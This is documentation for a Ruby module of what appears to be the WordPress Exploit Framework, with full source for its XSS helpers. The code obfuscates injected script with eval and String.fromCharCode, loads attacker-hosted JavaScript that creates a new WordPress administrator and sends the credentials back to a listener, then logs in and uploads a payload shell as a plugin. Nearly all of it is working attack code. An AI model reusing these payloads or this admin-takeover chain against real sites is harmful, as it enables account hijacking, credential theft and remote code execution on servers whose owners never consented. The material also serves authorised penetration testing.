Module: Wpxf::WordPress::Xss

Includes:
ERB::Util, Wpxf, Net::HttpServer, Plugin
Included in:
ReflectedXss, StoredXss
Defined in:
lib/wpxf/wordpress/xss.rb

Overview

Provides helper methods for generating scripts for XSS attacks.

Instance Method Summary collapse

Methods included from Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Instance Method Details

#initialize ⇒ Object

Initialize a new instance of Wpxf::WordPress::Xss.



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 
# File 'lib/wpxf/wordpress/xss.rb', line 13

def initialize
  super
  @success = false

  _update_info_without_validation(
    desc: %(
      This module stores a script which will be executed when
      an admin user visits the vulnerable page. Execution of the script
      will create a new admin user which will be used to upload
      and execute the selected payload in the context of the
      web server.
    )
  )

  register_options([
    StringOption.new(
      name: 'xss_host',
      desc: 'The address of the host listening for a connection',
      required: true
    ),
    StringOption.new(
      name: 'xss_path',
      desc: 'The path to access via the cross-site request',
      default: Utility::Text.rand_alpha(8),
      required: true
    )
  ])
end

#on_http_request(path, params, headers) ⇒ String

Default HTTP request handler for XSS modules which will serve the script required to create new administrator users and upload a payload shell.

Parameters:

  • path (String) —

    the path requested.

  • params (Hash) —

    the query string parameters.

  • headers (Hash) —

    the HTTP headers.

Returns:

  • (String) —

    the response body to send to the client.



106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
 
# File 'lib/wpxf/wordpress/xss.rb', line 106

def on_http_request(path, params, headers)
  if params['u'] && params['p']
    emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
    store_credentials params['u'], params['p']
    stop_http_server

    # Set this for #run to pick up to determine success state
    @success = upload_shell(params['u'], params['p'])

    ''
  else
    emit_info 'Incoming request received, serving JavaScript...'
    wordpress_js_create_user
  end
end

#upload_shell(username, password) ⇒ Boolean

Upload the selected payload as a WordPress plugin.

Parameters:

  • username (String) —

    the username to authenticate with.

  • password (String) —

    the password to authenticate with.

Returns:

  • (Boolean) —

    true if successful.



126
127
128
129
130
131
132
133
134
135
136
137
 
# File 'lib/wpxf/wordpress/xss.rb', line 126

def upload_shell(username, password)
  cookie = authenticate_with_wordpress(username, password)
  return false unless cookie

  plugin_name = Utility::Text.rand_alpha(10)
  payload_name = Utility::Text.rand_alpha(10)

  emit_info 'Uploading payload...'
  res = upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)

  !res.nil?
end

#wordpress_js_create_user ⇒ String

Returns a script that will create a new admin user and post the credentials back to #xss_url.

Returns:

  • (String) —

    a script that will create a new admin user and post the credentials back to #xss_url.



82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
 
# File 'lib/wpxf/wordpress/xss.rb', line 82

def wordpress_js_create_user
  variables = {
    '$wordpress_url_new_user' => wordpress_url_new_user,
    '$username' => Utility::Text.rand_alpha(6),
    '$password' => "#{Utility::Text.rand_alphanumeric(10)}!",
    '$email' => "#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com",
    '$xss_url' => xss_url
  }

  create_user_script = Wpxf::DataFile.new('js', 'create_wp_user.js')

  %(
    #{js_ajax_download}
    #{js_ajax_post}
    #{create_user_script.content_with_named_vars(variables)}
  )
end

#xss_ascii_encoded_include_script ⇒ String

Returns a script that includes the user creation JavaScript without any spaces or quotation marks in the script that may be escaped by the likes of magic-quotes.

Returns:

  • (String) —

    a script that includes the user creation JavaScript without any spaces or quotation marks in the script that may be escaped by the likes of magic-quotes.



71
72
73
 
# File 'lib/wpxf/wordpress/xss.rb', line 71

def xss_ascii_encoded_include_script
  "eval(String.fromCharCode(#{xss_include_script.bytes.join(',')}))"
end

#xss_host ⇒ String

Returns the address of the host listening for a conneciton.

Returns:

  • (String) —

    the address of the host listening for a conneciton.



43
44
45
 
# File 'lib/wpxf/wordpress/xss.rb', line 43

def xss_host
  normalized_option_value('xss_host')
end

#xss_include_script ⇒ String

Returns a script that includes the user creation JavaScript.

Returns:

  • (String) —

    a script that includes the user creation JavaScript.



58
59
60
61
62
63
64
65
66
 
# File 'lib/wpxf/wordpress/xss.rb', line 58

def xss_include_script
  script = [
    'var a = document.createElement("script");',
    "a.setAttribute(\"src\", \"#{xss_url}\");",
    'document.head.appendChild(a);'
  ].join

  "eval(decodeURIComponent(/#{url_encode(script)}/.source))"
end

#xss_path ⇒ String

Returns the path to make cross-site requests to.

Returns:

  • (String) —

    the path to make cross-site requests to.



48
49
50
 
# File 'lib/wpxf/wordpress/xss.rb', line 48

def xss_path
  normalized_option_value('xss_path')
end

#xss_shell_success ⇒ Boolean

Returns true if the XSS shell upload was successful.

Returns:

  • (Boolean) —

    true if the XSS shell upload was successful.



140
141
142
 
# File 'lib/wpxf/wordpress/xss.rb', line 140

def xss_shell_success
  @success
end

#xss_url ⇒ String

Returns the full URL to make cross-site requests to.

Returns:

  • (String) —

    the full URL to make cross-site requests to.



53
54
55
 
# File 'lib/wpxf/wordpress/xss.rb', line 53

def xss_url
  "http://#{xss_host}:#{http_server_bind_port}/#{xss_path}"
end

#xss_url_and_ascii_encoded_include_script ⇒ String

Returns the URL encoded value of #xss_ascii_encoded_include_script.

Returns:

  • (String) —

    the URL encoded value of #xss_ascii_encoded_include_script.



76
77
78
 
# File 'lib/wpxf/wordpress/xss.rb', line 76

def xss_url_and_ascii_encoded_include_script
  url_encode(xss_ascii_encoded_include_script)
end